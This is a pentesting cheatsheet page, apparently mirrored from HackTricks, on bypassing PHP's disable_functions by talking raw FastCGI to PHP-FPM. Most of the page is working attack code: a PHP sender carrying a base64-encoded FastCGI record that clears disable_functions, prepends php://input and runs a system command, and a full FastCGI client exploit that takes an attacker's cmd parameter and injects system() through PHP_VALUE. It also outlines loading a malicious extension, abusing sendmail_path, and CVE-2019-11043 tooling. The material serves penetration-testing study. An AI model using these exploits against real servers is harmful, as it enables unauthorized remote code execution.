daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

disable-functions-bypass-php-fpm-fastcgi.md (23065B)


      1 ---
      2 title: "disablefunctions bypass - PHP-FPM/FastCGI"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # `disable_functions` bypass - PHP-FPM/FastCGI
     14 
     15 ## PHP-FPM
     16 
     17 **PHP-FPM** is PHP's FastCGI Process Manager. A master process manages pools of workers, while a web server sends PHP-script requests to the service over FastCGI. A pool can listen on a TCP address or a Unix socket.
     18 
     19 PHP-FPM commonly runs on the same host as the web server, especially when using a Unix socket, but a TCP listener can be on another host. An available worker executes the selected PHP script, returns the result to the web server, and becomes available for another request.
     20 
     21 ## But what is CGI and FastCGI?
     22 
     23 ### CGI
     24 
     25 Static pages and assets are commonly stored in a public directory such as `/home/user/public_html`. **When a browser requests static content, the server resolves and sends the requested file.**
     26 
     27 With classic **CGI**, the server maps configured scripts—often under a `cgi-bin` directory—to executable programs instead of returning their source. The server passes request metadata and input to the program; after processing, the program returns output that the server forwards to the HTTP client.
     28 
     29 For example, when the CGI script [http://mysitename.com/**cgi-bin/file.pl**](http://mysitename.com/**cgi-bin/file.pl**) is accessed, the server will run the appropriate Perl application through CGI. The data generated from script execution will be sent by the application to the web server. The server, on the other hand, will transfer data to the browser. If the server did not have CGI, the browser would have displayed the **.pl** file code itself. (explanation from [here](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html))<sup>[[1]](#references)</sup>
     30 
     31 ### FastCGI
     32 
     33 [FastCGI](https://en.wikipedia.org/wiki/FastCGI) preserves CGI's request/response role while keeping application processes alive across requests instead of starting a new process for each request.
     34 
     35 Open Market introduced **FastCGI** to address the process-creation and scalability costs of traditional CGI.<sup>[[1]](#references)</sup>
     36 
     37 ## disable_functions bypass
     38 
     39 Direct access to a PHP-FPM listener can inject FastCGI parameters, select executable scripts, and sometimes load attacker-controlled PHP configuration or extensions. Request-level `PHP_VALUE` can relax some settings, but it does **not** reliably unset `disable_functions`; the techniques below distinguish those cases.<sup>[[2]](#references)[[3]](#references)</sup>
     40 
     41 ### Practical reality check
     42 
     43 Before trying any of the payloads below, keep these points in mind:
     44 
     45 - You usually need a way to **speak raw FastCGI** to PHP-FPM: direct access to `127.0.0.1:9000`, a readable/writable Unix socket such as `/var/run/php/php-fpm.sock`, an SSRF primitive that supports `gopher://`, or a proxy misconfiguration that lets you reach the backend.
     46 - A normal HTTP request to the application is **not enough by itself**. The interesting knobs here are FastCGI parameters such as `PHP_VALUE` and `PHP_ADMIN_VALUE`.
     47 - You still need a valid `SCRIPT_FILENAME` that the target pool can execute.
     48 
     49 If you first need to enumerate a reachable FastCGI listener or build raw FastCGI requests, check:
     50 
     51 [9000 Pentesting Fastcgi](/hacktricks/network-services-pentesting/9000-pentesting-fastcgi)
     52 
     53 ### Via Gopherus
     54 
     55 > [!CAUTION]
     56 > Use Gopherus here mainly to reach the FastCGI listener and inject FastCGI parameters. Do **not** expect `PHP_VALUE` with `disable_functions =` to reliably re-enable disabled functions in modern PHP-FPM.
     57 
     58 Using [Gopherus](https://github.com/tarunkant/Gopherus), you can generate a request for a reachable FastCGI listener. Command execution still depends on a usable script, directives, and an available execution primitive:
     59 
     60 ![Practical reality check - Via Gopherus: Using Gopherus you can generate a payload to send to the FastCGI listener and execute arbitrary commands](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28227%29.png)
     61 
     62 Decode the URL-encoded FastCGI bytes and Base64-encode the raw result—for example, with CyberChef's `URL Decode` followed by `To Base64`. Paste that Base64 into the following PHP sender:
     63 
     64 ```php
     65 <?php
     66 $fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));
     67 ```
     68 
     69 After this script is uploaded and requested, it sends the decoded FastCGI record to PHP-FPM. In practice, this is useful for setting request-level directives such as `auto_prepend_file` and often `open_basedir`, but **not** for truly clearing `disable_functions`.
     70 
     71 ### PHP exploit
     72 
     73 > [!CAUTION]
     74 > I'm not sure if this is working in modern versions because I tried once and I couldn't execute anything. Actually I managed to see that `phpinfo()` from FastCGI execution indicated that `disable_functions` was empty, but PHP (somehow) was still preventing me from executing any previously disabled function. Please, if you have more information about this contact me via \[**PEASS & HackTricks telegram group here**]\([**https://t.me/peass**](https://t.me/peass)), or twitter \[**@carlospolopm**]\([**https://twitter.com/hacktricks_live**](https://twitter.com/hacktricks_live))**.**
     75 
     76 Code from [here](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy).<sup>[[4]](#references)</sup>
     77 
     78 ```php
     79 <?php
     80 /**
     81  * Note : Code is released under the GNU LGPL
     82  *
     83  * Please do not change the header of this file
     84  *
     85  * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
     86  * Lesser General Public License as published by the Free Software Foundation; either version 2 of
     87  * the License, or (at your option) any later version.
     88  *
     89  * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
     90  * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
     91  *
     92  * See the GNU Lesser General Public License for more details.
     93  */
     94 /**
     95  * Handles communication with a FastCGI application
     96  *
     97  * @author      Pierrick Charron <pierrick@webstart.fr>
     98  * @version     1.0
     99  */
    100 class FCGIClient
    101 {
    102     const VERSION_1            = 1;
    103     const BEGIN_REQUEST        = 1;
    104     const ABORT_REQUEST        = 2;
    105     const END_REQUEST          = 3;
    106     const PARAMS               = 4;
    107     const STDIN                = 5;
    108     const STDOUT               = 6;
    109     const STDERR               = 7;
    110     const DATA                 = 8;
    111     const GET_VALUES           = 9;
    112     const GET_VALUES_RESULT    = 10;
    113     const UNKNOWN_TYPE         = 11;
    114     const MAXTYPE              = self::UNKNOWN_TYPE;
    115     const RESPONDER            = 1;
    116     const AUTHORIZER           = 2;
    117     const FILTER               = 3;
    118     const REQUEST_COMPLETE     = 0;
    119     const CANT_MPX_CONN        = 1;
    120     const OVERLOADED           = 2;
    121     const UNKNOWN_ROLE         = 3;
    122     const MAX_CONNS            = 'MAX_CONNS';
    123     const MAX_REQS             = 'MAX_REQS';
    124     const MPXS_CONNS           = 'MPXS_CONNS';
    125     const HEADER_LEN           = 8;
    126     /**
    127      * Socket
    128      * @var Resource
    129      */
    130     private $_sock = null;
    131     /**
    132      * Host
    133      * @var String
    134      */
    135     private $_host = null;
    136     /**
    137      * Port
    138      * @var Integer
    139      */
    140     private $_port = null;
    141     /**
    142      * Keep Alive
    143      * @var Boolean
    144      */
    145     private $_keepAlive = false;
    146     /**
    147      * Constructor
    148      *
    149      * @param String $host Host of the FastCGI application
    150      * @param Integer $port Port of the FastCGI application
    151      */
    152     public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
    153     {
    154         $this->_host = $host;
    155         $this->_port = $port;
    156     }
    157     /**
    158      * Define whether or not the FastCGI application should keep the connection
    159      * alive at the end of a request
    160      *
    161      * @param Boolean $b true if the connection should stay alive, false otherwise
    162      */
    163     public function setKeepAlive($b)
    164     {
    165         $this->_keepAlive = (boolean)$b;
    166         if (!$this->_keepAlive && $this->_sock) {
    167             fclose($this->_sock);
    168         }
    169     }
    170     /**
    171      * Get the keep alive status
    172      *
    173      * @return Boolean true if the connection should stay alive, false otherwise
    174      */
    175     public function getKeepAlive()
    176     {
    177         return $this->_keepAlive;
    178     }
    179     /**
    180      * Create a connection to the FastCGI application
    181      */
    182     private function connect()
    183     {
    184         if (!$this->_sock) {
    185             //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
    186             $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
    187             if (!$this->_sock) {
    188                 throw new Exception('Unable to connect to FastCGI application');
    189             }
    190         }
    191     }
    192     /**
    193      * Build a FastCGI packet
    194      *
    195      * @param Integer $type Type of the packet
    196      * @param String $content Content of the packet
    197      * @param Integer $requestId RequestId
    198      */
    199     private function buildPacket($type, $content, $requestId = 1)
    200     {
    201         $clen = strlen($content);
    202         return chr(self::VERSION_1)         /* version */
    203             . chr($type)                    /* type */
    204             . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
    205             . chr($requestId & 0xFF)        /* requestIdB0 */
    206             . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
    207             . chr($clen & 0xFF)             /* contentLengthB0 */
    208             . chr(0)                        /* paddingLength */
    209             . chr(0)                        /* reserved */
    210             . $content;                     /* content */
    211     }
    212     /**
    213      * Build an FastCGI Name value pair
    214      *
    215      * @param String $name Name
    216      * @param String $value Value
    217      * @return String FastCGI Name value pair
    218      */
    219     private function buildNvpair($name, $value)
    220     {
    221         $nlen = strlen($name);
    222         $vlen = strlen($value);
    223         if ($nlen < 128) {
    224             /* nameLengthB0 */
    225             $nvpair = chr($nlen);
    226         } else {
    227             /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
    228             $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
    229         }
    230         if ($vlen < 128) {
    231             /* valueLengthB0 */
    232             $nvpair .= chr($vlen);
    233         } else {
    234             /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
    235             $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
    236         }
    237         /* nameData & valueData */
    238         return $nvpair . $name . $value;
    239     }
    240     /**
    241      * Read a set of FastCGI Name value pairs
    242      *
    243      * @param String $data Data containing the set of FastCGI NVPair
    244      * @return array of NVPair
    245      */
    246     private function readNvpair($data, $length = null)
    247     {
    248         $array = array();
    249         if ($length === null) {
    250             $length = strlen($data);
    251         }
    252         $p = 0;
    253         while ($p != $length) {
    254             $nlen = ord($data{$p++});
    255             if ($nlen >= 128) {
    256                 $nlen = ($nlen & 0x7F << 24);
    257                 $nlen |= (ord($data{$p++}) << 16);
    258                 $nlen |= (ord($data{$p++}) << 8);
    259                 $nlen |= (ord($data{$p++}));
    260             }
    261             $vlen = ord($data{$p++});
    262             if ($vlen >= 128) {
    263                 $vlen = ($nlen & 0x7F << 24);
    264                 $vlen |= (ord($data{$p++}) << 16);
    265                 $vlen |= (ord($data{$p++}) << 8);
    266                 $vlen |= (ord($data{$p++}));
    267             }
    268             $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
    269             $p += ($nlen + $vlen);
    270         }
    271         return $array;
    272     }
    273     /**
    274      * Decode a FastCGI Packet
    275      *
    276      * @param String $data String containing all the packet
    277      * @return array
    278      */
    279     private function decodePacketHeader($data)
    280     {
    281         $ret = array();
    282         $ret['version']       = ord($data{0});
    283         $ret['type']          = ord($data{1});
    284         $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
    285         $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
    286         $ret['paddingLength'] = ord($data{6});
    287         $ret['reserved']      = ord($data{7});
    288         return $ret;
    289     }
    290     /**
    291      * Read a FastCGI Packet
    292      *
    293      * @return array
    294      */
    295     private function readPacket()
    296     {
    297         if ($packet = fread($this->_sock, self::HEADER_LEN)) {
    298             $resp = $this->decodePacketHeader($packet);
    299             $resp['content'] = '';
    300             if ($resp['contentLength']) {
    301                 $len  = $resp['contentLength'];
    302                 while ($len && $buf=fread($this->_sock, $len)) {
    303                     $len -= strlen($buf);
    304                     $resp['content'] .= $buf;
    305                 }
    306             }
    307             if ($resp['paddingLength']) {
    308                 $buf=fread($this->_sock, $resp['paddingLength']);
    309             }
    310             return $resp;
    311         } else {
    312             return false;
    313         }
    314     }
    315     /**
    316      * Get Informations on the FastCGI application
    317      *
    318      * @param array $requestedInfo information to retrieve
    319      * @return array
    320      */
    321     public function getValues(array $requestedInfo)
    322     {
    323         $this->connect();
    324         $request = '';
    325         foreach ($requestedInfo as $info) {
    326             $request .= $this->buildNvpair($info, '');
    327         }
    328         fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
    329         $resp = $this->readPacket();
    330         if ($resp['type'] == self::GET_VALUES_RESULT) {
    331             return $this->readNvpair($resp['content'], $resp['length']);
    332         } else {
    333             throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
    334         }
    335     }
    336     /**
    337      * Execute a request to the FastCGI application
    338      *
    339      * @param array $params Array of parameters
    340      * @param String $stdin Content
    341      * @return String
    342      */
    343     public function request(array $params, $stdin)
    344     {
    345         $response = '';
    346         $this->connect();
    347         $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
    348         $paramsRequest = '';
    349         foreach ($params as $key => $value) {
    350             $paramsRequest .= $this->buildNvpair($key, $value);
    351         }
    352         if ($paramsRequest) {
    353             $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
    354         }
    355         $request .= $this->buildPacket(self::PARAMS, '');
    356         if ($stdin) {
    357             $request .= $this->buildPacket(self::STDIN, $stdin);
    358         }
    359         $request .= $this->buildPacket(self::STDIN, '');
    360         fwrite($this->_sock, $request);
    361         do {
    362             $resp = $this->readPacket();
    363             if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
    364                 $response .= $resp['content'];
    365             }
    366         } while ($resp && $resp['type'] != self::END_REQUEST);
    367         var_dump($resp);
    368         if (!is_array($resp)) {
    369             throw new Exception('Bad request');
    370         }
    371         switch (ord($resp['content']{4})) {
    372             case self::CANT_MPX_CONN:
    373                 throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
    374                 break;
    375             case self::OVERLOADED:
    376                 throw new Exception('New request rejected; too busy [OVERLOADED]');
    377                 break;
    378             case self::UNKNOWN_ROLE:
    379                 throw new Exception('Role value not known [UNKNOWN_ROLE]');
    380                 break;
    381             case self::REQUEST_COMPLETE:
    382                 return $response;
    383         }
    384     }
    385 }
    386 ?>
    387 <?php
    388 // real exploit start here
    389 if (!isset($_REQUEST['cmd'])) {
    390     die("Check your input\n");
    391 }
    392 if (!isset($_REQUEST['filepath'])) {
    393     $filepath = __FILE__;
    394 }else{
    395     $filepath = $_REQUEST['filepath'];
    396 }
    397 $req = '/'.basename($filepath);
    398 $uri = $req .'?'.'command='.$_REQUEST['cmd'];
    399 $client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
    400 $code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // php payload -- Doesnt do anything
    401 $php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
    402 //$php_value = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
    403 $params = array(
    404         'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    405         'REQUEST_METHOD'    => 'POST',
    406         'SCRIPT_FILENAME'   => $filepath,
    407         'SCRIPT_NAME'       => $req,
    408         'QUERY_STRING'      => 'command='.$_REQUEST['cmd'],
    409         'REQUEST_URI'       => $uri,
    410         'DOCUMENT_URI'      => $req,
    411 #'DOCUMENT_ROOT'     => '/',
    412         'PHP_VALUE'         => $php_value,
    413         'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    414         'REMOTE_ADDR'       => '127.0.0.1',
    415         'REMOTE_PORT'       => '9985',
    416         'SERVER_ADDR'       => '127.0.0.1',
    417         'SERVER_PORT'       => '80',
    418         'SERVER_NAME'       => 'localhost',
    419         'SERVER_PROTOCOL'   => 'HTTP/1.1',
    420         'CONTENT_LENGTH'    => strlen($code)
    421         );
    422 // print_r($_REQUEST);
    423 // print_r($params);
    424 //echo "Call: $uri\n\n";
    425 echo $client->request($params, $code)."\n";
    426 ?>
    427 ```
    428 
    429 Using the previous function you will see that the function **`system`** is **still disabled** but **`phpinfo()`** shows a **`disable_functions`** **empty**:
    430 
    431 ![Via Gopherus - PHP exploit: Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable functions empty](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28188%29.png)
    432 
    433 ![Via Gopherus - PHP exploit: Using the previous function you will see that the function system is still disabled but phpinfo() shows a disable functions empty](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28713%29.png)
    434 
    435 This matches the PHP documentation much better than the original guess:
    436 
    437 - `disable_functions` is an **`INI_SYSTEM`** directive, so it must come from the main PHP configuration context.
    438 - PHP-FPM documents that `php_value` / `php_flag` will **not** overwrite previously defined `disable_functions` / `disable_classes` values.<sup>[[2]](#references)</sup>
    439 - `phpinfo()` can be misleading here. There is even an old PHP-FPM bug report showing mismatches between what `phpinfo()` displays and what is actually enforced for `disable_functions`.
    440 
    441 So, for this technique, think of `PHP_VALUE` as the primitive to relax `open_basedir` and to inject `auto_prepend_file`, but **not** as a reliable way to unset `disable_functions`.
    442 
    443 ### [**FuckFastCGI**](https://github.com/w181496/FuckFastcgi)
    444 
    445 This PHP script speaks FastCGI and can bypass `open_basedir` or achieve code execution despite `disable_functions` by loading a malicious extension when its prerequisites are met.\
    446 The original is at [w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi), with a modified version at [BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi).
    447 
    448 You will find that the exploit is very similar to the previous code, but instead of trying to bypass `disable_functions` using `PHP_VALUE`, it tries to **load an external PHP module** using `extension_dir` and `extension` inside `PHP_ADMIN_VALUE`. That is the important distinction: if you can directly talk to PHP-FPM, forcing it to load an attacker-controlled extension is usually the path that turns FastCGI access into real code execution even when `system`, `exec`, `shell_exec`, and friends remain disabled.<sup>[[3]](#references)</sup>\
    449 **NOTE1**: You probably will need to **recompile** the extension with the **same PHP version/build that the server** is using (you can check it inside the output of phpinfo):
    450 
    451 ![PHP exploit - FuckFastGCI: NOTE1 : You probably will need to recompile the extension with the same PHP version/build that the server is using (you can check it inside the output of phpinfo)](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28180%29.png)
    452 
    453 > [!CAUTION]
    454 > **NOTE2**: In real targets you need more than socket access:
    455 > - a writable location to place the malicious `.so`
    456 > - an extension compiled for the target PHP ABI
    457 > - a request path where the pool actually executes your chosen `SCRIPT_FILENAME`
    458 >
    459 > The BorelEnzo fork also notes a practical PHP 8 detail: old sample extensions using `TSRMLS_CC` need to be adjusted for PHP 8+.
    460 
    461 The improved fork also contains a **pure-PHP variant** that abuses `sendmail_path` instead of loading a custom extension. This removes the need to upload a `.so`, but it still depends on a useful primitive such as `mail()` being callable and a local MTA path being available.<sup>[[3]](#references)</sup>
    462 
    463 ### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)
    464 
    465 You can exploit this vulnerability with [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) and test it using this Docker environment: [Vulhub CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\
    466 You can also find an analysis of the vulnerability [**here**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.**
    467 
    468 ## References
    469 
    470 - [1] [What is CGI and FastCGI? (Superhosting.bg help)](https://help.superhosting.bg/en/cgi-common-gateway-interface-fastcgi.html)
    471 - [2] [PHP manual: FPM configuration (`php_value` / `php_admin_value` and the `disable_functions` note)](https://www.php.net/manual/en/install.fpm.configuration.php)
    472 - [3] [Borel Enzo: FuckFastCGI made simpler](https://borelenzo.github.io/stuff/2023/02/05/php-ffcgi.html)
    473 - [4] [0CTF/TCTF 2019 Quals writeup - wallbreaker (easy)](https://balsn.tw/ctf_writeup/20190323-0ctf_tctf2019quals/#wallbreaker-easy)